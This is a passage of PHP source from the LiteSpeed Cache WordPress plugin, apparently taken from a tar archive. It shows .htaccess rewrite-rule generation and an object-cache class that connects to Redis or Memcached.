'RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+ismobile]'; $new_rules[] = self::MARKER_MOBILE . self::MARKER_END; $new_rules[] = ''; } // nocache cookie. $id = Base::O_CACHE_EXC_COOKIES; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_NOCACHE_COOKIES . self::MARKER_START; $new_rules[] = 'RewriteCond %{HTTP_COOKIE} ' . Utility::arr2regex( $cfg[ $id ], true ); $new_rules[] = 'RewriteRule .* - [E=Cache-Control:no-cache]'; $new_rules[] = self::MARKER_NOCACHE_COOKIES . self::MARKER_END; $new_rules[] = ''; } // nocache user agents. $id = Base::O_CACHE_EXC_USERAGENTS; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_NOCACHE_USER_AGENTS . self::MARKER_START; $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex( $cfg[ $id ], true ) . ' [NC]'; $new_rules[] = 'RewriteRule .* - [E=Cache-Control:no-cache]'; $new_rules[] = self::MARKER_NOCACHE_USER_AGENTS . self::MARKER_END; $new_rules[] = ''; } // check login cookie. $vary_cookies = $cfg[ Base::O_CACHE_VARY_COOKIES ]; $id = Base::O_CACHE_LOGIN_COOKIE; if ( ! empty( $cfg[ $id ] ) ) { $vary_cookies[] = $cfg[ $id ]; } if ( LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS' ) { // Need to keep this due to different behavior of OLS when handling response vary header @Sep/22/2018. if ( defined( 'COOKIEHASH' ) ) { $vary_cookies[] = ',wp-postpass_' . COOKIEHASH; } } $vary_cookies = apply_filters( 'litespeed_vary_cookies', $vary_cookies ); // todo: test if response vary header can work in latest OLS, drop the above two lines. // frontend and backend. if ( $vary_cookies ) { $env = 'Cache-Vary:' . implode( ',', $vary_cookies ); $env = '"' . $env . '"'; $new_rules[] = self::MARKER_LOGIN_COOKIE . self::MARKER_START; $new_rules_backend[] = self::MARKER_LOGIN_COOKIE . self::MARKER_START; $new_rules[] = 'RewriteRule .? - [E=' . $env . ']'; $new_rules_backend[] = 'RewriteRule .? - [E=' . $env . ']'; $new_rules[] = self::MARKER_LOGIN_COOKIE . self::MARKER_END; $new_rules_backend[] = self::MARKER_LOGIN_COOKIE . self::MARKER_END; $new_rules[] = ''; } // CORS font rules. $id = Base::O_CDN; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_CORS . self::MARKER_START; $new_rules = array_merge( $new_rules, $this->_cors_rules() ); // todo: network. $new_rules[] = self::MARKER_CORS . self::MARKER_END; $new_rules[] = ''; } // webp/next-gen support. $id = Base::O_IMG_OPTM_WEBP; if ( ! empty( $cfg[ $id ] ) ) { $next_gen_format = 'webp'; if ( 2 === (int) $cfg[ $id ] ) { $next_gen_format = 'avif'; } $new_rules[] = self::MARKER_WEBP . self::MARKER_START; // Check for WebP/AVIF support via HTTP_ACCEPT. $new_rules[] = 'RewriteCond %{HTTP_ACCEPT} image/' . $next_gen_format . ' [OR]'; // Check for iPhone browsers (version > 13). $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} iPhone\ OS\ (1[4-9]|[2-9][0-9]) [OR]'; // Check for macOS Safari (version >= 16.4). $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} Macintosh.*Version/((1[7-9]|[2-9][0-9])|16\.([4-9]|[1-9][0-9])) [OR]'; // Check for Firefox (version >= 65). $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} Firefox/([6-9][0-9]|[1-9][0-9]{2,})'; // Add vary. $new_rules[] = 'RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+webp]'; $new_rules[] = self::MARKER_WEBP . self::MARKER_END; $new_rules[] = ''; } // drop qs support. $id = Base::O_CACHE_DROP_QS; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_DROPQS . self::MARKER_START; foreach ( $cfg[ $id ] as $v ) { $new_rules[] = 'CacheKeyModify -qs:' . $v; } $new_rules[] = self::MARKER_DROPQS . self::MARKER_END; $new_rules[] = ''; } // Browser cache. $id = Base::O_CACHE_BROWSER; if ( ! empty( $cfg[ $id ] ) ) { $new_rules_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_START; $new_rules_nonls = array_merge( $new_rules_nonls, $this->_browser_cache_rules( $cfg ) ); $new_rules_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_END; $new_rules_nonls[] = ''; $new_rules_backend_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_START; $new_rules_backend_nonls = array_merge( $new_rules_backend_nonls, $this->_browser_cache_rules( $cfg ) ); $new_rules_backend_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_END; $new_rules_backend_nonls[] = ''; } // Add module wrapper for LiteSpeed rules. if ( $new_rules ) { $new_rules = $this->_wrap_ls_module( $new_rules ); } if ( $new_rules_backend ) { $new_rules_backend = $this->_wrap_ls_module( $new_rules_backend ); } return array( $new_rules, $new_rules_backend, $new_rules_nonls, $new_rules_backend_nonls ); } /** * Add LiteSpeed module wrapper with rewrite on. * * @since 2.1.1 * @access private * * @param array<int,string> $rules Rules to wrap. * @return array<int,string> Wrapped rules. */ private function _wrap_ls_module( $rules = array() ) { return array_merge( $this->__rewrite_general, array( self::LS_MODULE_START ), $this->__rewrite_on, array( '' ), $rules, array( self::LS_MODULE_END ) ); } /** * Insert LiteSpeed module wrapper with rewrite on. * * @since 2.1.1 * @access public * @return void */ public function insert_ls_wrapper() { $rules = $this->_wrap_ls_module(); $this->_insert_wrapper( $rules ); } /** * Wrap rules with do-not-edit markers. * * @since 1.1.5 * * @param array<int,string>|false $rules Rules array or false. * @return array<int,string>|false Wrapped rules, or false if $rules was false. */ private function _wrap_do_no_edit( $rules ) { // When clearing rules, don't need DO NOT EDIT msg. if ( false === $rules || ! is_array( $rules ) ) { return $rules; } $rules = array_merge( array( self::LS_MODULE_DONOTEDIT ), $rules, array( self::LS_MODULE_DONOTEDIT ) ); return $rules; } /** * Write to htaccess with rules. * * NOTE: will throw error if failed. * * @since 1.1.0 * @access private * * @param array<int,string>|false $rules Rules to write. Pass false to clear. * @param string|false $kind 'frontend' or 'backend'. Defaults to 'frontend'. * @param string|false $marker Marker name. Defaults to self::MARKER. * @return void * @throws \Exception If write fails. */ private function _insert_wrapper( $rules = array(), $kind = false, $marker = false ) { if ( 'backend' !== $kind ) { $kind = 'frontend'; } // Default marker is LiteSpeed marker `LSCACHE`. if ( false === $marker ) { $marker = self::MARKER; } $this->_htaccess_backup( $kind ); File::insert_with_markers( $this->htaccess_path( $kind ), $this->_wrap_do_no_edit( $rules ), $marker, true ); } /** * Update rewrite rules based on setting. * * NOTE: will throw error if failed. * * @since 1.3 * @access public * * @param array<string,mixed> $cfg Plugin configuration. * @return bool True on success. * @throws \Exception When automatic update fails (provides manual instructions). */ public function update( $cfg ) { list( $frontend_rules, $backend_rules, $frontend_rules_nonls, $backend_rules_nonls ) = $this->_generate_rules( $cfg ); // Check frontend content. list( $rules, $rules_nonls ) = $this->_extract_rules(); // Check Non-LiteSpeed rules. if ( $this->_wrap_do_no_edit( $frontend_rules_nonls ) !== $rules_nonls ) { Debug2::debug( '[Rules] Update non-ls frontend rules' ); // Need to update frontend htaccess. try { $this->_insert_wrapper( $frontend_rules_nonls, false, self::MARKER_NONLS ); } catch ( \Exception $e ) { $manual_guide_codes = $this->_rewrite_codes_msg( $this->frontend_htaccess, $frontend_rules_nonls, self::MARKER_NONLS ); Debug2::debug( '[Rules] Update Failed' ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } // Check LiteSpeed rules. if ( $this->_wrap_do_no_edit( $frontend_rules ) !== $rules ) { Debug2::debug( '[Rules] Update frontend rules' ); // Need to update frontend htaccess. try { $this->_insert_wrapper( $frontend_rules ); } catch ( \Exception $e ) { Debug2::debug( '[Rules] Update Failed' ); $manual_guide_codes = $this->_rewrite_codes_msg( $this->frontend_htaccess, $frontend_rules ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } if ( $this->frontend_htaccess !== $this->backend_htaccess ) { list( $rules, $rules_nonls ) = $this->_extract_rules( 'backend' ); // Check Non-LiteSpeed rules for backend. if ( $this->_wrap_do_no_edit( $backend_rules_nonls ) !== $rules_nonls ) { Debug2::debug( '[Rules] Update non-ls backend rules' ); // Need to update backend htaccess. try { $this->_insert_wrapper( $backend_rules_nonls, 'backend', self::MARKER_NONLS ); } catch ( \Exception $e ) { Debug2::debug( '[Rules] Update Failed' ); $manual_guide_codes = $this->_rewrite_codes_msg( $this->backend_htaccess, $backend_rules_nonls, self::MARKER_NONLS ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } // Check backend content. if ( $this->_wrap_do_no_edit( $backend_rules ) !== $rules ) { Debug2::debug( '[Rules] Update backend rules' ); // Need to update backend htaccess. try { $this->_insert_wrapper( $backend_rules, 'backend' ); } catch ( \Exception $e ) { Debug2::debug( '[Rules] Update Failed' ); $manual_guide_codes = $this->_rewrite_codes_msg( $this->backend_htaccess, $backend_rules ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } } return true; } /** * Get existing rewrite rules. * * NOTE: will throw error if failed. * * @since 1.3 * @access private * * @param string $kind Frontend or backend .htaccess file. * @return array{0:array<int,string>,1:array<int,string>} A tuple of [ls_rules, nonls_rules]. * @throws \Exception If file is not readable. */ private function _extract_rules( $kind = 'frontend' ) { clearstatcache(); $path = $this->htaccess_path( $kind ); if ( ! $this->_readable( $kind ) ) { Error::t( 'E_HTA_R' ); } $rules = File::extract_from_markers( $path, self::MARKER ); $rules_nonls = File::extract_from_markers( $path, self::MARKER_NONLS ); return array( $rules, $rules_nonls ); } /** * Output the msg with rules plain data for manual insert. * * @since 1.1.5 * * @param string $file The target file path. * @param array<int,string> $rules The rules to be inserted. * @param string|false $marker Optional marker name. Defaults to LiteSpeed's marker. * @return string The final message (HTML) to output. */ private function _rewrite_codes_msg( $file, $rules, $marker = false ) { return sprintf( /* translators: 1: file path, 2: code block */ __( '<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s', 'litespeed-cache' ), esc_html( $file ), '<textarea style="width:100%;" rows="10" readonly>' . esc_textarea( $this->_wrap_rules_with_marker( $rules, $marker ) ) . '</textarea>' ); } /** * Generate rules plain data for manual insert. * * @since 1.1.5 * * @param array<int,string>|false $rules Rules to wrap or false. * @param string|false $marker Optional marker name. Defaults to LiteSpeed's marker. * @return string The plain text of the rules with markers. */ private function _wrap_rules_with_marker( $rules, $marker = false ) { // Default marker is LiteSpeed marker `LSCACHE`. if ( false === $marker ) { $marker = self::MARKER; } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $new_file_data = implode( "\n", array_merge( array( $start_marker ), $this->_wrap_do_no_edit( $rules ), array( $end_marker ) ) ); return $new_file_data; } /** * Clear the rules file of any changes added by the plugin specifically. * * @since 1.0.4 * @access public * * @return void */ public function clear_rules() { $this->_insert_wrapper( false ); // Use false to avoid do-not-edit msg. // Clear non ls rules. $this->_insert_wrapper( false, false, self::MARKER_NONLS ); if ( $this->frontend_htaccess !== $this->backend_htaccess ) { $this->_insert_wrapper( false, 'backend' ); $this->_insert_wrapper( false, 'backend', self::MARKER_NONLS ); } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/object-cache.cls.php����������������������������������������������������0000644�����������������00000051712�15233526476�0015656 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The object cache class. * * @since 1.8 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); require_once dirname( __DIR__ ) . '/autoload.php'; /** * Object cache handler using Redis or Memcached. * * NOTE: this class may be included without initialized core. * * @since 1.8 */ class Object_Cache extends Root { const LOG_TAG = '[Object_Cache]'; /** * Debug option key. * * @var string */ const O_DEBUG = 'debug'; /** * Object cache enable key. * * @var string */ const O_OBJECT = 'object'; /** * Object kind (Redis/Memcached). * * @var string */ const O_OBJECT_KIND = 'object-kind'; /** * Object host. * * @var string */ const O_OBJECT_HOST = 'object-host'; /** * Object port. * * @var string */ const O_OBJECT_PORT = 'object-port'; /** * Object life/TTL. * * @var string */ const O_OBJECT_LIFE = 'object-life'; /** * Persistent connection flag. * * @var string */ const O_OBJECT_PERSISTENT = 'object-persistent'; /** * Admin cache flag. * * @var string */ const O_OBJECT_ADMIN = 'object-admin'; /** * DB index for Redis. * * @var string */ const O_OBJECT_DB_ID = 'object-db_id'; /** * Username for auth. * * @var string */ const O_OBJECT_USER = 'object-user'; /** * Password for auth. * * @var string */ const O_OBJECT_PSWD = 'object-pswd'; /** * Global groups list. * * @var string */ const O_OBJECT_GLOBAL_GROUPS = 'object-global_groups'; /** * Non-persistent groups list. * * @var string */ const O_OBJECT_NON_PERSISTENT_GROUPS = 'object-non_persistent_groups'; /** * Connection instance. * * @var \Redis|\Memcached|null */ private $_conn; /** * Debug config. * * @var bool */ private $_cfg_debug; /** * Whether OC is enabled. * * @var bool */ private $_cfg_enabled; /** * True => Redis, false => Memcached. * * @var bool */ private $_cfg_method; /** * Host name. * * @var string */ private $_cfg_host; /** * Port number. * * @var int|string */ private $_cfg_port; /** * TTL in seconds. * * @var int */ private $_cfg_life; /** * Use persistent connection. * * @var bool */ private $_cfg_persistent; /** * Cache admin pages. * * @var bool */ private $_cfg_admin; /** * Redis DB index. * * @var int */ private $_cfg_db; /** * Auth username. * * @var string */ private $_cfg_user; /** * Auth password. * * @var string */ private $_cfg_pswd; /** * Default TTL in seconds. * * @var int */ private $_default_life = 360; /** * 'Redis' or 'Memcached'. * * @var string */ private $_oc_driver = 'Memcached'; // Redis or Memcached. /** * Global groups. * * @var array */ private $_global_groups = []; /** * Non-persistent groups. * * @var array */ private $_non_persistent_groups = []; /** * Init. * * NOTE: this class may be included without initialized core. * * @since 1.8 * * @param array|false $cfg Optional configuration to bootstrap without core. */ public function __construct( $cfg = false ) { if ( $cfg ) { if ( ! is_array( $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] ) ) { $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] = explode( "\n", $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] ); } if ( ! is_array( $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] ) ) { $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] = explode( "\n", $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] ); } $this->_cfg_debug = $cfg[ Base::O_DEBUG ] ? $cfg[ Base::O_DEBUG ] : false; $this->_cfg_method = $cfg[ Base::O_OBJECT_KIND ] ? true : false; $this->_cfg_host = $cfg[ Base::O_OBJECT_HOST ]; $this->_cfg_port = $cfg[ Base::O_OBJECT_PORT ]; $this->_cfg_life = $cfg[ Base::O_OBJECT_LIFE ]; $this->_cfg_persistent = $cfg[ Base::O_OBJECT_PERSISTENT ]; $this->_cfg_admin = $cfg[ Base::O_OBJECT_ADMIN ]; $this->_cfg_db = $cfg[ Base::O_OBJECT_DB_ID ]; $this->_cfg_user = $cfg[ Base::O_OBJECT_USER ]; $this->_cfg_pswd = $cfg[ Base::O_OBJECT_PSWD ]; $this->_global_groups = $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ]; $this->_non_persistent_groups = $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ]; if ( $this->_cfg_method ) { $this->_oc_driver = 'Redis'; } $this->_cfg_enabled = $cfg[ Base::O_OBJECT ] && class_exists( $this->_oc_driver ) && $this->_cfg_host; } elseif ( defined( 'LITESPEED_CONF_LOADED' ) ) { // If OC is OFF, will hit here to init OC after conf initialized $this->_cfg_debug = $this->conf( Base::O_DEBUG ) ? $this->conf( Base::O_DEBUG ) : false; $this->_cfg_method = $this->conf( Base::O_OBJECT_KIND ) ? true : false; $this->_cfg_host = $this->conf( Base::O_OBJECT_HOST ); $this->_cfg_port = $this->conf( Base::O_OBJECT_PORT ); $this->_cfg_life = $this->conf( Base::O_OBJECT_LIFE ); $this->_cfg_persistent = $this->conf( Base::O_OBJECT_PERSISTENT ); $this->_cfg_admin = $this->conf( Base::O_OBJECT_ADMIN ); $this->_cfg_db = $this->conf( Base::O_OBJECT_DB_ID ); $this->_cfg_user = $this->conf( Base::O_OBJECT_USER ); $this->_cfg_pswd = $this->conf( Base::O_OBJECT_PSWD ); $this->_global_groups = $this->conf( Base::O_OBJECT_GLOBAL_GROUPS ); $this->_non_persistent_groups = $this->conf( Base::O_OBJECT_NON_PERSISTENT_GROUPS ); if ( $this->_cfg_method ) { $this->_oc_driver = 'Redis'; } $this->_cfg_enabled = $this->conf( Base::O_OBJECT ) && class_exists( $this->_oc_driver ) && $this->_cfg_host; } elseif ( defined( 'self::CONF_FILE' ) && file_exists( WP_CONTENT_DIR . '/' . self::CONF_FILE ) ) { // Get cfg from _data_file. // Use self::const to avoid loading more classes. $cfg = \json_decode( file_get_contents( WP_CONTENT_DIR . '/' . self::CONF_FILE ), true ); if ( ! empty( $cfg[ self::O_OBJECT_HOST ] ) ) { $this->_cfg_debug = ! empty( $cfg[ Base::O_DEBUG ] ) ? $cfg[ Base::O_DEBUG ] : false; $this->_cfg_method = ! empty( $cfg[ self::O_OBJECT_KIND ] ) ? $cfg[ self::O_OBJECT_KIND ] : false; $this->_cfg_host = $cfg[ self::O_OBJECT_HOST ]; $this->_cfg_port = $cfg[ self::O_OBJECT_PORT ]; $this->_cfg_life = ! empty( $cfg[ self::O_OBJECT_LIFE ] ) ? $cfg[ self::O_OBJECT_LIFE ] : $this->_default_life; $this->_cfg_persistent = ! empty( $cfg[ self::O_OBJECT_PERSISTENT ] ) ? $cfg[ self::O_OBJECT_PERSISTENT ] : false; $this->_cfg_admin = ! empty( $cfg[ self::O_OBJECT_ADMIN ] ) ? $cfg[ self::O_OBJECT_ADMIN ] : false; $this->_cfg_db = ! empty( $cfg[ self::O_OBJECT_DB_ID ] ) ? $cfg[ self::O_OBJECT_DB_ID ] : 0; $this->_cfg_user = ! empty( $cfg[ self::O_OBJECT_USER ] ) ? $cfg[ self::O_OBJECT_USER ] : ''; $this->_cfg_pswd = ! empty( $cfg[ self::O_OBJECT_PSWD ] ) ? $cfg[ self::O_OBJECT_PSWD ] : ''; $this->_global_groups = ! empty( $cfg[ self::O_OBJECT_GLOBAL_GROUPS ] ) ? $cfg[ self::O_OBJECT_GLOBAL_GROUPS ] : []; $this->_non_persistent_groups = ! empty( $cfg[ self::O_OBJECT_NON_PERSISTENT_GROUPS ] ) ? $cfg[ self::O_OBJECT_NON_PERSISTENT_GROUPS ] : []; if ( $this->_cfg_method ) { $this->_oc_driver = 'Redis'; } $this->_cfg_enabled = class_exists( $this->_oc_driver ) && $this->_cfg_host; } else { $this->_cfg_enabled = false; } } else { $this->_cfg_enabled = false; } // If OC not available, mark failure so OC methods return false early. // NOTE: Do NOT call wp_using_ext_object_cache(false) here — it causes // "Cannot redeclare wp_cache_init()" fatal on multisite (second call // to wp_start_object_cache() would load cache.php again). if ( ! $this->_cfg_enabled ) { ! defined( 'LITESPEED_OC_FAILURE' ) && define( 'LITESPEED_OC_FAILURE', true ); } } /** * Add debug. * * @since 6.3 * @access private * * @param string $text Log text. * @return void */ private function debug_oc( $text ) { if ( defined( 'LSCWP_LOG' ) ) { self::debug( $text ); return; } if ( Base::VAL_ON2 !== $this->_cfg_debug ) { return; } $litespeed_data_folder = defined( 'LITESPEED_DATA_FOLDER' ) ? LITESPEED_DATA_FOLDER : 'litespeed'; $lscwp_content_dir = defined( 'LSCWP_CONTENT_DIR' ) ? LSCWP_CONTENT_DIR : WP_CONTENT_DIR; $litespeed_static_dir = $lscwp_content_dir . '/' . $litespeed_data_folder; $log_path_prefix = $litespeed_static_dir . '/debug/'; $log_file = $log_path_prefix . Debug2::FilePath( 'debug' ); if ( file_exists( $log_path_prefix . 'index.php' ) && file_exists( $log_file ) ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log error_log(gmdate('m/d/y H:i:s') . ' - OC - ' . $text . PHP_EOL, 3, $log_file); } } /** * Check if the group belongs to transients or not. * * @since 1.8.3 * @access private * * @param string $group Group name. * @return bool */ private function _is_transients_group( $group ) { return in_array( $group, [ 'transient', 'site-transient' ], true ); } /** * Update WP object cache file config. * * @since 1.8 * @access public * * @param array $options Options to apply after update. * @return void */ public function update_file( $options ) { $changed = false; // NOTE: When included in oc.php, `LSCWP_DIR` will show undefined, so this must be assigned/generated when used. $_oc_ori_file = LSCWP_DIR . 'lib/object-cache.php'; $_oc_wp_file = WP_CONTENT_DIR . '/object-cache.php'; // Update cls file. if ( ! file_exists( $_oc_wp_file ) || md5_file( $_oc_wp_file ) !== md5_file( $_oc_ori_file ) ) { $this->debug_oc( 'copying object-cache.php file to ' . $_oc_wp_file ); copy( $_oc_ori_file, $_oc_wp_file ); $changed = true; } /** * Clear object cache. */ if ( $changed ) { $this->_reconnect( $options ); } } /** * Remove object cache file. * * @since 1.8.2 * @access public * * @return void */ public function del_file() { // NOTE: When included in oc.php, `LSCWP_DIR` will show undefined, so this must be assigned/generated when used. $_oc_ori_file = LSCWP_DIR . 'lib/object-cache.php'; $_oc_wp_file = WP_CONTENT_DIR . '/object-cache.php'; if ( file_exists( $_oc_wp_file ) && md5_file( $_oc_wp_file ) === md5_file( $_oc_ori_file ) ) { $this->debug_oc( 'removing ' . $_oc_wp_file ); wp_delete_file( $_oc_wp_file ); } } /** * Try to build connection. * * @since 1.8 * @access public * * @return bool|null False on failure, true on success, null if unsupported. */ public function test_connection() { return $this->_connect(); } /** * Force to connect with this setting. * * @since 1.8 * @access private * * @param array $cfg Reconnect configuration. * @return void */ private function _reconnect( $cfg ) { $this->debug_oc( 'Reconnecting' ); if ( isset( $this->_conn ) ) { // error_log( 'Object: Quitting existing connection!' ); $this->debug_oc( 'Quitting existing connection' ); $this->flush(); $this->_conn = null; $this->cls( false, true ); } $cls = $this->cls( false, false, $cfg ); $cls->_connect(); if ( isset( $cls->_conn ) ) { $cls->flush(); } } /** * Connect to Memcached/Redis server. * * @since 1.8 * @access private * * @return bool|null False on failure, true on success, null if driver missing. */ private function _connect() { if ( isset( $this->_conn ) ) { // error_log( 'Object: _connected' ); return true; } if ( ! class_exists( $this->_oc_driver ) || ! $this->_cfg_host ) { $this->debug_oc( '_oc_driver cls non existed or _cfg_host missed: ' . $this->_oc_driver . ' [_cfg_host] ' . $this->_cfg_host . ':' . $this->_cfg_port ); return false; } if ( defined( 'LITESPEED_OC_FAILURE' ) ) { $this->debug_oc( 'LITESPEED_OC_FAILURE const defined' ); return false; } $this->debug_oc( 'Init ' . $this->_oc_driver . ' connection to ' . $this->_cfg_host . ':' . $this->_cfg_port ); $failed = false; /** * Connect to Redis. * * @since 1.8.1 * @see https://github.com/phpredis/phpredis/#example-1 */ if ( 'Redis' === $this->_oc_driver ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler set_error_handler( 'litespeed_exception_handler' ); try { $this->_conn = new \Redis(); // error_log( 'Object: _connect Redis' ); if ( $this->_cfg_persistent ) { if ( $this->_cfg_port ) { $this->_conn->pconnect( $this->_cfg_host, $this->_cfg_port ); } else { $this->_conn->pconnect( $this->_cfg_host ); } } elseif ( $this->_cfg_port ) { $this->_conn->connect( $this->_cfg_host, $this->_cfg_port ); } else { $this->_conn->connect( $this->_cfg_host ); } if ( $this->_cfg_pswd ) { if ( $this->_cfg_user ) { $this->_conn->auth( [ $this->_cfg_user, $this->_cfg_pswd ] ); } else { $this->_conn->auth( $this->_cfg_pswd ); } } if (defined('Redis::OPT_REPLY_LITERAL')) { $this->debug_oc( 'Redis set OPT_REPLY_LITERAL' ); $this->_conn->setOption(\Redis::OPT_REPLY_LITERAL, true); } if ( $this->_cfg_db ) { if ( ! $this->_conn->select( $this->_cfg_db ) ) { $this->debug_oc( 'Database ID is invalid' ); $failed = true; } } $res = $this->_conn->rawCommand('PING'); if ( 'PONG' !== $res ) { $this->debug_oc( 'Redis resp is wrong: ' . $res ); $failed = true; } } catch ( \Exception $e ) { $this->debug_oc( 'Redis connect exception: ' . $e->getMessage() ); $failed = true; } catch ( \ErrorException $e ) { $this->debug_oc( 'Redis connect error: ' . $e->getMessage() ); $failed = true; } restore_error_handler(); } else { // Connect to Memcached. if ( $this->_cfg_persistent ) { $this->_conn = new \Memcached( $this->_get_mem_id() ); // Check memcached persistent connection. if ( $this->_validate_mem_server() ) { // error_log( 'Object: _validate_mem_server' ); $this->debug_oc( 'Got persistent ' . $this->_oc_driver . ' connection' ); return true; } $this->debug_oc( 'No persistent ' . $this->_oc_driver . ' server list!' ); } else { // error_log( 'Object: new memcached!' ); $this->_conn = new \Memcached(); } $this->_conn->addServer( $this->_cfg_host, (int) $this->_cfg_port ); /** * Add SASL auth. * * @since 1.8.1 * @since 2.9.6 Fixed SASL connection @see https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:lsmcd:new_sasl */ if ( $this->_cfg_user && $this->_cfg_pswd && method_exists( $this->_conn, 'setSaslAuthData' ) ) { $this->_conn->setOption( \Memcached::OPT_BINARY_PROTOCOL, true ); $this->_conn->setOption( \Memcached::OPT_COMPRESSION, false ); $this->_conn->setSaslAuthData( $this->_cfg_user, $this->_cfg_pswd ); } // Check connection. if ( ! $this->_validate_mem_server() ) { $failed = true; } } // If failed to connect. if ( $failed ) { $this->debug_oc( '❌ Failed to connect ' . $this->_oc_driver . ' server!' ); $this->_conn = null; $this->_cfg_enabled = false; ! defined( 'LITESPEED_OC_FAILURE' ) && define( 'LITESPEED_OC_FAILURE', true ); // Disable ext OC flag so WP transients fall back to wp_options table. // After muplugins_loaded, all wp_start_object_cache() calls are done — safe to call directly. // Before that (early bootstrap), defer via hook to avoid multisite "Cannot redeclare" fatal. if ( function_exists( 'did_action' ) && did_action( 'muplugins_loaded' ) ) { litespeed_oc_disable_ext_cache(); } elseif ( function_exists( 'add_action' ) ) { add_action( 'muplugins_loaded', 'litespeed_oc_disable_ext_cache', -999 ); } return false; } $this->debug_oc( '✅ Connected to ' . $this->_oc_driver . ' server.' ); return true; } /** * Check if the connected memcached host is the one in cfg. * * @since 1.8 * @access private * * @return bool */ private function _validate_mem_server() { $mem_list = $this->_conn->getStats(); if ( empty( $mem_list ) ) { return false; } foreach ( $mem_list as $k => $v ) { if ( substr( $k, 0, strlen( $this->_cfg_host ) ) !== $this->_cfg_host ) { continue; } if ( ! empty( $v['pid'] ) || ! empty( $v['curr_connections'] ) ) { return true; } } return false; } /** * Get memcached unique id to be used for connecting. * * @since 1.8 * @access private * * @return string */ private function _get_mem_id() { $mem_id = 'litespeed'; if ( is_multisite() ) { $mem_id .= '_' . get_current_blog_id(); } return $mem_id; } /** * Get cache. * * @since 1.8 * @access public * * @param string $key Cache key. * @param string $group Optional. Cache group name. * @return mixed|false */ public function get( $key, $group = '' ) { if ( ! $this->_cfg_enabled ) { return false; } if ( ! $this->_can_cache( $group ) ) { return false; } if ( ! $this->_connect() ) { return false; } $res = $this->_conn->get( $key ); return $res; } /** * Set cache. * * @since 1.8 * @access public * * @param string $key Cache key. * @param mixed $data Data to store. * @param int $expire TTL seconds. * @return bool */ public function set( $key, $data, $expire ) { if ( ! $this->_cfg_enabled ) { return false; } /** * To fix the Cloud callback cached as its frontend call but the hash is generated in backend * Bug found by Stan at Jan/10/2020 */ // if ( ! $this->_can_cache() ) { // return false; // } if ( ! $this->_connect() ) { return false; } // Per WP Object Cache API, expire=0 means "no expiration". // Key eviction is handled by the cache backend (Redis maxmemory / Memcached LRU). $ttl = (int) $expire; if ( 'Redis' === $this->_oc_driver ) { try { $options = ( $ttl > 0 ) ? [ 'ex' => $ttl ] : []; $res = $this->_conn->set( $key, $data, $options ); } catch ( \RedisException $ex ) { $res = false; $msg = sprintf( __( 'Redis encountered a fatal error: %1$s (code: %2$d)', 'litespeed-cache' ), $ex->getMessage(), $ex->getCode() ); $this->debug_oc( $msg ); Admin_Display::error( $msg ); } } else { $res = $this->_conn->set( $key, $data, $ttl ); } return $res; } /** * Check if can cache or not. * * @since 1.8 * @access private * * @param string $group Optional. Cache group name. * @return bool */ private function _can_cache( $group = '' ) { // Transients always use OC regardless of Cache WP-Admin setting if ( $this->_is_transients_group( $group ) ) { return true; } if ( ! $this->_cfg_admin && defined( 'WP_ADMIN' ) ) { return false; } return true; } /** * Delete cache. * * @since 1.8 * @access public * * @param string $key Cache key. * @return bool */ public function delete( $key ) { if ( ! $this->_cfg_enabled ) { return false; } if ( ! $this->_connect() ) { return false; } if ( 'Redis' === $this->_oc_driver ) { $res = $this->_conn->del( $key ); } else { $res = $this->_conn->delete( $key ); } return (bool) $res; } /** * Clear all cache. * * @since 1.8 * @access public * * @return bool */ public function flush() { if ( ! $this->_cfg_enabled ) { $this->debug_oc( 'bypass flushing' ); return false; } if ( ! $this->_connect() ) { return false; } $this->debug_oc( 'flush!' ); if ( 'Redis' === $this->_oc_driver ) { $res = $this->_conn->flushDb(); } else { $res = $this->_conn->flush(); $this->_conn->resetServerList(); } return $res; } /** * Add global groups. * * @since 1.8 * @access public * * @param string|string[] $groups Group(s) to add. * @return void */ public function add_global_groups( $groups ) { if ( ! is_array( $groups ) ) { $groups = [ $groups ]; } $this->_global_groups = array_merge( $this->_global_groups, $groups ); $this->_global_groups = array_unique( 